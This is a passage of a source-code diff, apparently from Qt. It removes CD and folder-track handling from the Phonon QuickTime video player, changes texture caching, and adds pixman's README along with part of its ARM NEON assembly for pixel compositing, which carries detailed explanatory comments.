-    } else {
-        Media media = GetTrackMedia(videoTrack);
-        long sampleCount = GetMediaSampleCount(media);
-        TimeValue64 duration = GetMediaDisplayDuration(media);
-        TimeValue64 timeScale = GetMediaTimeScale(media);
-        m_staticFps = float((double)sampleCount * (double)timeScale / (double)duration);
-    }
-#else
-    m_staticFps = 30.0f;
-#endif
-}
-
 QString QuickTimeVideoPlayer::timeToString(quint64 ms)
 {
     int sec = ms/1000;
@@ -1075,94 +950,6 @@ void QuickTimeVideoPlayer::readProtection()
     }
 }
 
-QMultiMap<QString, QString> QuickTimeVideoPlayer::metaData()
-{
-    return m_metaData->metaData();
-}
-
-int QuickTimeVideoPlayer::trackCount() const
-{
-    if (!m_folderTracks)
-        return 0;
-    return [m_folderTracks count];
-}
-
-int QuickTimeVideoPlayer::currentTrack() const
-{
-    return m_currentTrack;
-}
-
-QString QuickTimeVideoPlayer::currentTrackPath() const
-{
-    if (!m_folderTracks)
-        return QString();
-
-    PhononAutoReleasePool pool;
-    NSString *trackPath = [m_folderTracks objectAtIndex:m_currentTrack];
-    return PhononCFString::toQString(reinterpret_cast<CFStringRef>(trackPath));
-}
-
-NSString* QuickTimeVideoPlayer::pathToCompactDisc()
-{
-    PhononAutoReleasePool pool;
-    NSArray *devices = [[NSWorkspace sharedWorkspace] mountedRemovableMedia];
-    for (unsigned int i=0; i<[devices count]; ++i) {
-        NSString *dev = [devices objectAtIndex:i];
-        if (isCompactDisc(dev))
-            return [dev retain];
-    }
-    return 0;
-}
-
-bool QuickTimeVideoPlayer::isCompactDisc(NSString *path)
-{
-    PhononAutoReleasePool pool;
-    NSString *type = [NSString string];
-    [[NSWorkspace sharedWorkspace] getFileSystemInfoForPath:path
-        isRemovable:0
-        isWritable:0
-        isUnmountable:0
-        description:0
-        type:&type];
-    return [type hasPrefix:@"cdd"];
-}
-
-NSArray* QuickTimeVideoPlayer::scanFolder(NSString *path)
-{
-    NSMutableArray *tracks = [NSMutableArray arrayWithCapacity:20];
-    if (!path)
-        return tracks;
-
-    NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtPath:path];
-    while (NSString *track = [enumerator nextObject]) {
-        if (![track hasPrefix:@"."])
-            [tracks addObject:[path stringByAppendingPathComponent:track]];
-    }
-    return tracks;
-}
-
-void QuickTimeVideoPlayer::setCurrentTrack(int track)
-{
-    PhononAutoReleasePool pool;
-    [m_QTMovie release];
-	m_QTMovie = 0;
-    m_currentTime = 0;
-    m_currentTrack = track;
-
-    if (!m_folderTracks)
-        return;
-    if (track < 0 || track >= (int)[m_folderTracks count])
-        return;
-
-    NSString *trackPath = [m_folderTracks objectAtIndex:track];
-    QTDataReference *dataRef = [QTDataReference dataReferenceWithReferenceToFile:trackPath];
-    State currentState = m_state;
-    openMovieFromDataRef(dataRef);
-    prepareCurrentMovieForPlayback();
-    if (currentState == Playing)
-        play();
-}
-
 }}
 
 QT_END_NAMESPACE
diff --git a/src/3rdparty/phonon/qt7/videoframe.mm b/src/3rdparty/phonon/qt7/videoframe.mm
index 7b67b5e..92a3cd5 100644
--- a/src/3rdparty/phonon/qt7/videoframe.mm
+++ b/src/3rdparty/phonon/qt7/videoframe.mm
@@ -20,8 +20,6 @@
 #import <QuartzCore/CIFilter.h>
 #import <QuartzCore/CIContext.h>
 
-//#define CACHE_CV_TEXTURE
-
 QT_BEGIN_NAMESPACE
 
 namespace Phonon
@@ -72,9 +70,7 @@ namespace QT7
 
     void VideoFrame::copyMembers(const VideoFrame& frame)
     {
-#ifdef CACHE_CV_TEXTURE
         m_cachedCVTextureRef = frame.m_cachedCVTextureRef;
-#endif
 		m_cachedCIImage = frame.m_cachedCIImage;
 		m_cachedQImage = frame.m_cachedQImage;
         m_cachedNSBitmap = frame.m_cachedNSBitmap;
@@ -109,20 +105,11 @@ namespace QT7
 
     CVOpenGLTextureRef VideoFrame::cachedCVTexture() const
     {
-#ifdef CACHE_CV_TEXTURE
         if (!m_cachedCVTextureRef && m_videoPlayer){
             m_videoPlayer->setColors(m_brightness, m_contrast, m_hue, m_saturation);
             (const_cast<VideoFrame *>(this))->m_cachedCVTextureRef = m_videoPlayer->currentFrameAsCVTexture();
-            CVOpenGLTextureRetain((const_cast<VideoFrame *>(this))->m_cachedCVTextureRef);
         }
         return m_cachedCVTextureRef;
-#else
-        if (m_videoPlayer){
-            m_videoPlayer->setColors(m_brightness, m_contrast, m_hue, m_saturation);
-            return m_videoPlayer->currentFrameAsCVTexture();
-        }
-        return 0;
-#endif
     }
 
     void *VideoFrame::cachedCIImage() const
@@ -342,12 +329,10 @@ namespace QT7
 
     void VideoFrame::invalidateImage() const
     {
-#ifdef CACHE_CV_TEXTURE
         if (m_cachedCVTextureRef){
             CVOpenGLTextureRelease(m_cachedCVTextureRef);
             (const_cast<VideoFrame *>(this))->m_cachedCVTextureRef = 0;
         }
-#endif
         if (m_cachedCIImage){
 			[(CIImage *) m_cachedCIImage release];
             (const_cast<VideoFrame *>(this))->m_cachedCIImage = 0;
@@ -361,10 +346,8 @@ namespace QT7
 
     void VideoFrame::retain() const
     {
-#ifdef CACHE_CV_TEXTURE
         if (m_cachedCVTextureRef)
             CVOpenGLTextureRetain(m_cachedCVTextureRef);
-#endif
 		if (m_cachedCIImage)
 			[(CIImage *) m_cachedCIImage retain];
         if (m_backgroundFrame)
@@ -375,12 +358,8 @@ namespace QT7
 
     void VideoFrame::release() const
     {
-#ifdef CACHE_CV_TEXTURE
-        if (m_cachedCVTextureRef){
+        if (m_cachedCVTextureRef)
             CVOpenGLTextureRelease(m_cachedCVTextureRef);
-            (const_cast<VideoFrame *>(this))->m_cachedCVTextureRef = 0;
-        }
-#endif
 		if (m_cachedCIImage)
 			[(CIImage *) m_cachedCIImage release];
         if (m_backgroundFrame)
@@ -389,6 +368,7 @@ namespace QT7
             [m_cachedNSBitmap release];
 
         (const_cast<VideoFrame *>(this))->m_backgroundFrame = 0;
+        (const_cast<VideoFrame *>(this))->m_cachedCVTextureRef = 0;
         (const_cast<VideoFrame *>(this))->m_cachedCIImage = 0;
         (const_cast<VideoFrame *>(this))->m_cachedNSBitmap = 0;
     }
diff --git a/src/3rdparty/pixman/README b/src/3rdparty/pixman/README
new file mode 100644
index 0000000..843b069
--- /dev/null
+++ b/src/3rdparty/pixman/README
@@ -0,0 +1,26 @@
+pixman is a library that provides low-level pixel manipulation
+features such as image compositing and trapezoid rasterization.
+
+Please submit bugs & patches to the libpixman bugzilla:
+
+       https://bugs.freedesktop.org/enter_bug.cgi?product=pixman
+
+All questions regarding this software should be directed to either the 
+Xorg mailing list:
+
+       http://lists.freedesktop.org/mailman/listinfo/xorg
+
+or the cairo mailing list:
+
+       http://lists.freedesktop.org/mailman/listinfo/cairo
+
+The master development code repository can be found at:
+
+	git://anongit.freedesktop.org/git/pixman
+
+	http://gitweb.freedesktop.org/?p=pixman;a=summary
+
+For more information on the git code manager, see:
+
+	http://wiki.x.org/wiki/GitPage
+
diff --git a/src/3rdparty/pixman/pixman-arm-neon-asm.S b/src/3rdparty/pixman/pixman-arm-neon-asm.S
new file mode 100644
index 0000000..eb8cc4c
--- /dev/null
+++ b/src/3rdparty/pixman/pixman-arm-neon-asm.S
@@ -0,0 +1,1709 @@
+/*
+ * Copyright © 2009 Nokia Corporation
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice (including the next
+ * paragraph) shall be included in all copies or substantial portions of the
+ * Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ * Author:  Siarhei Siamashka (siarhei.siamashka@nokia.com)
+ */
+
+/*
+ * This file contains implementations of NEON optimized pixel processing
+ * functions. There is no full and detailed tutorial, but some functions
+ * (those which are exposing some new or interesting features) are
+ * extensively commented and can be used as examples.
+ *
+ * You may want to have a look at the comments for following functions:
+ *  - pixman_composite_over_8888_0565_asm_neon
+ *  - pixman_composite_over_n_8_0565_asm_neon
+ */
+
+/* Prevent the stack from becoming executable for no reason... */
+#if defined(__linux__) && defined(__ELF__)
+.section .note.GNU-stack,"",%progbits
+#endif
+
+    .text
+    .fpu neon
+    .arch armv7a
+    .altmacro
+
+#include "pixman-arm-neon-asm.h"
+
+/* Global configuration options and preferences */
+
+/*
+ * The code can optionally make use of unaligned memory accesses to improve
+ * performance of handling leading/trailing pixels for each scanline.
+ * Configuration variable RESPECT_STRICT_ALIGNMENT can be set to 0 for
+ * example in linux if unaligned memory accesses are not configured to
+ * generate.exceptions.
+ */
+.set RESPECT_STRICT_ALIGNMENT, 1
+
+/*
+ * Set default prefetch type. There is a choice between the following options:
+ *
+ * PREFETCH_TYPE_NONE (may be useful for the ARM cores where PLD is set to work
+ * as NOP to workaround some HW bugs or for whatever other reason)
+ *
+ * PREFETCH_TYPE_SIMPLE (may be useful for simple single-issue ARM cores where
+ * advanced prefetch intruduces heavy overhead)
+ *
+ * PREFETCH_TYPE_ADVANCED (useful for superscalar cores such as ARM Cortex-A8
+ * which can run ARM and NEON instructions simultaneously so that extra ARM
+ * instructions do not add (many) extra cycles, but improve prefetch efficiency)
+ *
+ * Note: some types of function can't support advanced prefetch and fallback
+ *       to simple one (those which handle 24bpp pixels)
+ */
+.set PREFETCH_TYPE_DEFAULT, PREFETCH_TYPE_ADVANCED
+
+/* Prefetch distance in pixels for simple prefetch */
+.set PREFETCH_DISTANCE_SIMPLE, 64
+
+/*
+ * Implementation of pixman_composite_over_8888_0565_asm_neon
+ *
+ * This function takes a8r8g8b8 source buffer, r5g6b5 destination buffer and
+ * performs OVER compositing operation. Function fast_composite_over_8888_0565
+ * from pixman-fast-path.c does the same in C and can be used as a reference.
+ *
+ * First we need to have some NEON assembly code which can do the actual
+ * operation on the pixels and provide it to the template macro.
+ *
+ * Template macro quite conveniently takes care of emitting all the necessary
+ * code for memory reading and writing (including quite tricky cases of
+ * handling unaligned leading/trailing pixels), so we only need to deal with
+ * the data in NEON registers.
+ *
+ * NEON registers allocation in general is recommented to be the following:
+ * d0,  d1,  d2,  d3  - contain loaded source pixel data
+ * d4,  d5,  d6,  d7  - contain loaded destination pixels (if they are needed)
+ * d24, d25, d26, d27 - contain loading mask pixel data (if mask is used)
+ * d28, d29, d30, d31 - place for storing the result (destination pixels)
+ *
+ * As can be seen above, four 64-bit NEON registers are used for keeping
+ * intermediate pixel data and up to 8 pixels can be processed in one step
+ * for 32bpp formats (16 pixels for 16bpp, 32 pixels for 8bpp).
+ *
+ * This particular function uses the following registers allocation:
+ * d0,  d1,  d2,  d3  - contain loaded source pixel data
+ * d4,  d5            - contain loaded destination pixels (they are needed)
+ * d28, d29           - place for storing the result (destination pixels)
+ */
+
+/*
+ * Step one. We need to have some code to do some arithmetics on pixel data.
+ * This is implemented as a pair of macros: '*_head' and '*_tail'. When used
+ * back-to-back, they take pixel data from {d0, d1, d2, d3} and {d4, d5},
+ * perform all the needed calculations and write the result to {d28, d29}.
+ * The rationale for having two macros and not just one will be explained
+ * later. In practice, any single monolitic function which does the work can
+ * be split into two parts in any arbitrary way without affecting correctness.
+ *
+ * There is one special trick here too. Common template macro can optionally
+ * make our life a bit easier by doing R, G, B, A color components
+ * deinterleaving for 32bpp pixel formats (and this feature is used in
+ * 'pixman_composite_over_8888_0565_asm_neon' function). So it means that
+ * instead of having 8 packed pixels in {d0, d1, d2, d3} registers, we
+ * actually use d0 register for blue channel (a vector of eight 8-bit
+ * values), d1 register for green, d2 for red and d3 for alpha. This
+ * simple conversion can be also done with a few NEON instructions:
+ *
+ * Packed to planar conversion:
+ *  vuzp.8 d0, d1
+ *  vuzp.8 d2, d3
+ *  vuzp.8 d1, d3
+ *  vuzp.8 d0, d2
+ *
+ * Planar to packed conversion:
+ *  vzip.8 d0, d2
+ *  vzip.8 d1, d3
+ *  vzip.8 d2, d3
+ *  vzip.8 d0, d1
+ *
+ * But pixel can be loaded directly in planar format using VLD4.8 NEON
+ * instruction. It is 1 cycle slower than VLD1.32, so this is not always
+ * desirable, that's why deinterleaving is optional.
+ *
+ * But anyway, here is the code:
+ */
+.macro pixman_composite_over_8888_0565_process_pixblock_head
+    /* convert 8 r5g6b5 pixel data from {d4, d5} to planar 8-bit format
+       and put data into d6 - red, d7 - green, d30 - blue */
+    vshrn.u16   d6, q2, #8
+    vshrn.u16   d7, q2, #3
+    vsli.u16    q2, q2, #5
+    vsri.u8     d6, d6, #5
+    vmvn.8      d3, d3      /* invert source alpha */
+    vsri.u8     d7, d7, #6
+    vshrn.u16   d30, q2, #2
+    /* now do alpha blending, storing results in 8-bit planar format
+       into d16 - red, d19 - green, d18 - blue */
+    vmull.u8    q10, d3, d6
+    vmull.u8    q11, d3, d7
+    vmull.u8    q12, d3, d30
+    vrshr.u16   q13, q10, #8
+    vrshr.u16   q3, q11, #8
+    vrshr.u16   q15, q12, #8
+    vraddhn.u16 d20, q10, q13
+    vraddhn.u16 d23, q11, q3
+    vraddhn.u16 d22, q12, q15
+.endm
+
+.macro pixman_composite_over_8888_0565_process_pixblock_tail
+    /* ... continue alpha blending */
+    vqadd.u8    d16, d2, d20
+    vqadd.u8    q9, q0, q11
+    /* convert the result to r5g6b5 and store it into {d28, d29} */
+    vshll.u8    q14, d16, #8
+    vshll.u8    q8, d19, #8
+    vshll.u8    q9, d18, #8
+    vsri.u16    q14, q8, #5
+    vsri.u16    q14, q9, #11
+.endm
+
+/*
+ * OK, now we got almost everything that we need. Using the above two
+ * macros, the work can be done right. But now we want to optimize
+ * it a bit. ARM Cortex-A8 is an in-order core, and benefits really
+ * a lot from good code scheduling and software pipelining.
+ *
+ * Let's construct some code, which will run in the core main loop.
+ * Some pseudo-code of the main loop will look like this:
+ *   head
+ *   while (...) {
+ *     tail
+ *     head
+ *   }
+ *   tail
+ *
+ * It may look a bit weird, but this setup allows to hide instruction
+ * latencies better and also utilize dual-issue capability more
+ * efficiently (make pairs of load-store and ALU instructions).
+ *
+ * So what we need now is a '*_tail_head' macro, which will be used
+ * in the core main loop. A trivial straightforward implementation
+ * of this macro would look like this:
+ *
+ *   pixman_composite_over_8888_0565_process_pixblock_tail
+ *   vst1.16     {d28, d29}, [DST_W, :128]!
+ *   vld1.16     {d4, d5}, [DST_R, :128]!
+ *   vld4.32     {d0, d1, d2, d3}, [SRC]!
+ *   pixman_composite_over_8888_0565_process_pixblock_head
+ *   cache_preload 8, 8
+ *
+ * Now it also got some VLD/VST instructions. We simply can't move from
+ * processing one block of pixels to the other one with just arithmetics.
+ * The previously processed data needs to be written to memory and new
+ * data needs to be fetched. Fortunately, this main loop does not deal
+ * with partial leading/trailing pixels and can load/store a full block
+ * of pixels in a bulk. Additionally, destination buffer is already
+ * 16 bytes aligned here (which is good for performance).
+ *
+ * New things here are DST_R, DST_W, SRC and MASK identifiers. These
+ * are the aliases for ARM registers which are used as pointers for
+ * accessing data. We maintain separate pointers for reading and writing
+ * destination buffer (DST_R and DST_W).
+ *
+ * Another new thing is 'cache_preload' macro. It is used for prefetching
+ * data into CPU L2 cache and improve performance when dealing with large
+ * images which are far larger than cache size. It uses one argument
+ * (actually two, but they need to be the same here) - number of pixels
+ * in a block. Looking into 'pixman-arm-neon-asm.h' can provide some
+ * details about this macro. Moreover, if good performance is needed
+ * the code from this macro needs to be copied into '*_tail_head' macro
+ * and mixed with the rest of code for optimal instructions scheduling.
+ * We are actually doing it below.
+ *
+ * Now after all the explanations, here is the optimized code.
+ * Different instruction streams (originaling from '*_head', '*_tail'
+ * and 'cache_preload' macro) use different indentation levels for
+ * better readability. Actually taking the code from one of these
+ * indentation levels and ignoring a few VLD/VST instructions would
+ * result in exactly the code from '*_head', '*_tail' or 'cache_preload'
+ * macro!
+ */
+
+#if 1
+
+.macro pixman_composite_over_8888_0565_process_pixblock_tail_head
+        vqadd.u8    d16, d2, d20
+    vld1.16     {d4, d5}, [DST_R, :128]!
+        vqadd.u8    q9, q0, q11
+    vshrn.u16   d6, q2, #8
+    vld4.8      {d0, d1, d2, d3}, [SRC]!
+    vshrn.u16   d7, q2, #3
+    vsli.u16    q2, q2, #5
+        vshll.u8    q14, d16, #8
+                                    PF add PF_X, PF_X, #8
+        vshll.u8    q8, d19, #8
+                                    PF tst PF_CTL, #0xF
+    vsri.u8     d6, d6, #5
+                                    PF addne PF_X, PF_X, #8
+    vmvn.8      d3, d3
+                                    PF subne PF_CTL, PF_CTL, #1
+    vsri.u8     d7, d7, #6
+    vshrn.u16   d30, q2, #2
+    vmull.u8    q10, d3, d6
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+    vmull.u8    q11, d3, d7
+    vmull.u8    q12, d3, d30
+                                    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+        vsri.u16    q14, q8, #5
+                                    PF cmp PF_X, ORIG_W
+        vshll.u8    q9, d18, #8
+    vrshr.u16   q13, q10, #8
+                                    PF subge PF_X, PF_X, ORIG_W
+    vrshr.u16   q3, q11, #8
+    vrshr.u16   q15, q12, #8
+                                    PF subges PF_CTL, PF_CTL, #0x10
+        vsri.u16    q14, q9, #11
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+    vraddhn.u16 d20, q10, q13
+    vraddhn.u16 d23, q11, q3
+                                    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+    vraddhn.u16 d22, q12, q15
+        vst1.16     {d28, d29}, [DST_W, :128]!
+.endm
+
+#else
+
+/* If we did not care much about the performance, we would just use this... */
+.macro pixman_composite_over_8888_0565_process_pixblock_tail_head
+    pixman_composite_over_8888_0565_process_pixblock_tail
+    vst1.16     {d28, d29}, [DST_W, :128]!
+    vld1.16     {d4, d5}, [DST_R, :128]!
+    vld4.32     {d0, d1, d2, d3}, [SRC]!
+    pixman_composite_over_8888_0565_process_pixblock_head
+    cache_preload 8, 8
+.endm
+
+#endif
+
+/*
+ * And now the final part. We are using 'generate_composite_function' macro
+ * to put all the stuff together. We are specifying the name of the function
+ * which we want to get, number of bits per pixel for the source, mask and
+ * destination (0 if unused, like mask in this case). Next come some bit
+ * flags:
+ *   FLAG_DST_READWRITE      - tells that the destination buffer is both read
+ *                             and written, for write-only buffer we would use
+ *                             FLAG_DST_WRITEONLY flag instead
+ *   FLAG_DEINTERLEAVE_32BPP - tells that we prefer to work with planar data
+ *                             and separate color channels for 32bpp format.
+ * The next things are:
+ *  - the number of pixels processed per iteration (8 in this case, because
+ *    that's the maximum what can fit into four 64-bit NEON registers).
+ *  - prefetch distance, measured in pixel blocks. In this case it is 5 times
+ *    by 8 pixels. That would be 40 pixels, or up to 160 bytes. Optimal
+ *    prefetch distance can be selected by running some benchmarks.
+ *
+ * After that we specify some macros, these are 'default_init',
+ * 'default_cleanup' here which are empty (but it is possible to have custom
+ * init/cleanup macros to be able to save/restore some extra NEON registers
+ * like d8-d15 or do anything else) followed by
+ * 'pixman_composite_over_8888_0565_process_pixblock_head',
+ * 'pixman_composite_over_8888_0565_process_pixblock_tail' and
+ * 'pixman_composite_over_8888_0565_process_pixblock_tail_head'
+ * which we got implemented above.
+ *
+ * The last part is the NEON registers allocation scheme.
+ */
+generate_composite_function \
+    pixman_composite_over_8888_0565_asm_neon, 32, 0, 16, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_over_8888_0565_process_pixblock_head, \
+    pixman_composite_over_8888_0565_process_pixblock_tail, \
+    pixman_composite_over_8888_0565_process_pixblock_tail_head, \
+    28, /* dst_w_basereg */ \
+    4,  /* dst_r_basereg */ \
+    0,  /* src_basereg   */ \
+    24  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_over_n_0565_process_pixblock_head
+    /* convert 8 r5g6b5 pixel data from {d4, d5} to planar 8-bit format
+       and put data into d6 - red, d7 - green, d30 - blue */
+    vshrn.u16   d6, q2, #8
+    vshrn.u16   d7, q2, #3
+    vsli.u16    q2, q2, #5
+    vsri.u8     d6, d6, #5
+    vsri.u8     d7, d7, #6
+    vshrn.u16   d30, q2, #2
+    /* now do alpha blending, storing results in 8-bit planar format
+       into d16 - red, d19 - green, d18 - blue */
+    vmull.u8    q10, d3, d6
+    vmull.u8    q11, d3, d7
+    vmull.u8    q12, d3, d30
+    vrshr.u16   q13, q10, #8
+    vrshr.u16   q3, q11, #8
+    vrshr.u16   q15, q12, #8
+    vraddhn.u16 d20, q10, q13
+    vraddhn.u16 d23, q11, q3
+    vraddhn.u16 d22, q12, q15
+.endm
+
+.macro pixman_composite_over_n_0565_process_pixblock_tail
+    /* ... continue alpha blending */
+    vqadd.u8    d16, d2, d20
+    vqadd.u8    q9, q0, q11
+    /* convert the result to r5g6b5 and store it into {d28, d29} */
+    vshll.u8    q14, d16, #8
+    vshll.u8    q8, d19, #8
+    vshll.u8    q9, d18, #8
+    vsri.u16    q14, q8, #5
+    vsri.u16    q14, q9, #11
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_n_0565_process_pixblock_tail_head
+    pixman_composite_over_n_0565_process_pixblock_tail
+    vld1.16     {d4, d5}, [DST_R, :128]!
+    vst1.16     {d28, d29}, [DST_W, :128]!
+    pixman_composite_over_n_0565_process_pixblock_head
+.endm
+
+.macro pixman_composite_over_n_0565_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d3[0]}, [DUMMY]
+    vdup.8      d0, d3[0]
+    vdup.8      d1, d3[1]
+    vdup.8      d2, d3[2]
+    vdup.8      d3, d3[3]
+    vmvn.8      d3, d3      /* invert source alpha */
+.endm
+
+generate_composite_function \
+    pixman_composite_over_n_0565_asm_neon, 0, 0, 16, \
+    FLAG_DST_READWRITE, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_n_0565_init, \
+    default_cleanup, \
+    pixman_composite_over_n_0565_process_pixblock_head, \
+    pixman_composite_over_n_0565_process_pixblock_tail, \
+    pixman_composite_over_n_0565_process_pixblock_tail_head, \
+    28, /* dst_w_basereg */ \
+    4,  /* dst_r_basereg */ \
+    0,  /* src_basereg   */ \
+    24  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_8888_0565_process_pixblock_head
+    vshll.u8    q8, d1, #8
+    vshll.u8    q14, d2, #8
+    vshll.u8    q9, d0, #8
+.endm
+
+.macro pixman_composite_src_8888_0565_process_pixblock_tail
+    vsri.u16    q14, q8, #5
+    vsri.u16    q14, q9, #11
+.endm
+
+.macro pixman_composite_src_8888_0565_process_pixblock_tail_head
+        vsri.u16    q14, q8, #5
+                                    PF add PF_X, PF_X, #8
+                                    PF tst PF_CTL, #0xF
+    vld4.8      {d0, d1, d2, d3}, [SRC]!
+                                    PF addne PF_X, PF_X, #8
+                                    PF subne PF_CTL, PF_CTL, #1
+        vsri.u16    q14, q9, #11
+                                    PF cmp PF_X, ORIG_W
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+    vshll.u8    q8, d1, #8
+        vst1.16     {d28, d29}, [DST_W, :128]!
+                                    PF subge PF_X, PF_X, ORIG_W
+                                    PF subges PF_CTL, PF_CTL, #0x10
+    vshll.u8    q14, d2, #8
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+    vshll.u8    q9, d0, #8
+.endm
+
+generate_composite_function \
+    pixman_composite_src_8888_0565_asm_neon, 32, 0, 16, \
+    FLAG_DST_WRITEONLY | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_8888_0565_process_pixblock_head, \
+    pixman_composite_src_8888_0565_process_pixblock_tail, \
+    pixman_composite_src_8888_0565_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_src_0565_8888_process_pixblock_head
+    vshrn.u16   d30, q0, #8
+    vshrn.u16   d29, q0, #3
+    vsli.u16    q0, q0, #5
+    vmov.u8     d31, #255
+    vsri.u8     d30, d30, #5
+    vsri.u8     d29, d29, #6
+    vshrn.u16   d28, q0, #2
+.endm
+
+.macro pixman_composite_src_0565_8888_process_pixblock_tail
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_src_0565_8888_process_pixblock_tail_head
+    pixman_composite_src_0565_8888_process_pixblock_tail
+    vst4.8     {d28, d29, d30, d31}, [DST_W, :128]!
+    vld1.16    {d0, d1}, [SRC]!
+    pixman_composite_src_0565_8888_process_pixblock_head
+    cache_preload 8, 8
+.endm
+
+generate_composite_function \
+    pixman_composite_src_0565_8888_asm_neon, 16, 0, 32, \
+    FLAG_DST_WRITEONLY | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_0565_8888_process_pixblock_head, \
+    pixman_composite_src_0565_8888_process_pixblock_tail, \
+    pixman_composite_src_0565_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_add_8000_8000_process_pixblock_head
+    vqadd.u8    q14, q0, q2
+    vqadd.u8    q15, q1, q3
+.endm
+
+.macro pixman_composite_add_8000_8000_process_pixblock_tail
+.endm
+
+.macro pixman_composite_add_8000_8000_process_pixblock_tail_head
+    vld1.8      {d0, d1, d2, d3}, [SRC]!
+                                    PF add PF_X, PF_X, #32
+                                    PF tst PF_CTL, #0xF
+    vld1.8      {d4, d5, d6, d7}, [DST_R, :128]!
+                                    PF addne PF_X, PF_X, #32
+                                    PF subne PF_CTL, PF_CTL, #1
+        vst1.8      {d28, d29, d30, d31}, [DST_W, :128]!
+                                    PF cmp PF_X, ORIG_W
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+                                    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+                                    PF subge PF_X, PF_X, ORIG_W
+                                    PF subges PF_CTL, PF_CTL, #0x10
+    vqadd.u8    q14, q0, q2
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+                                    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+    vqadd.u8    q15, q1, q3
+.endm
+
+generate_composite_function \
+    pixman_composite_add_8000_8000_asm_neon, 8, 0, 8, \
+    FLAG_DST_READWRITE, \
+    32, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_add_8000_8000_process_pixblock_head, \
+    pixman_composite_add_8000_8000_process_pixblock_tail, \
+    pixman_composite_add_8000_8000_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_add_8888_8888_process_pixblock_tail_head
+    vld1.8      {d0, d1, d2, d3}, [SRC]!
+                                    PF add PF_X, PF_X, #8
+                                    PF tst PF_CTL, #0xF
+    vld1.8      {d4, d5, d6, d7}, [DST_R, :128]!
+                                    PF addne PF_X, PF_X, #8
+                                    PF subne PF_CTL, PF_CTL, #1
+        vst1.8      {d28, d29, d30, d31}, [DST_W, :128]!
+                                    PF cmp PF_X, ORIG_W
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+                                    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+                                    PF subge PF_X, PF_X, ORIG_W
+                                    PF subges PF_CTL, PF_CTL, #0x10
+    vqadd.u8    q14, q0, q2
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+                                    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+    vqadd.u8    q15, q1, q3
+.endm
+
+generate_composite_function \
+    pixman_composite_add_8888_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_READWRITE, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_add_8000_8000_process_pixblock_head, \
+    pixman_composite_add_8000_8000_process_pixblock_tail, \
+    pixman_composite_add_8888_8888_process_pixblock_tail_head
+
+generate_composite_function_single_scanline \
+    pixman_composite_scanline_add_asm_neon, 32, 0, 32, \
+    FLAG_DST_READWRITE, \
+    8, /* number of pixels, processed in a single block */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_add_8000_8000_process_pixblock_head, \
+    pixman_composite_add_8000_8000_process_pixblock_tail, \
+    pixman_composite_add_8888_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_over_8888_8888_process_pixblock_head
+    vmvn.8      d24, d3  /* get inverted alpha */
+    /* do alpha blending */
+    vmull.u8    q8, d24, d4
+    vmull.u8    q9, d24, d5
+    vmull.u8    q10, d24, d6
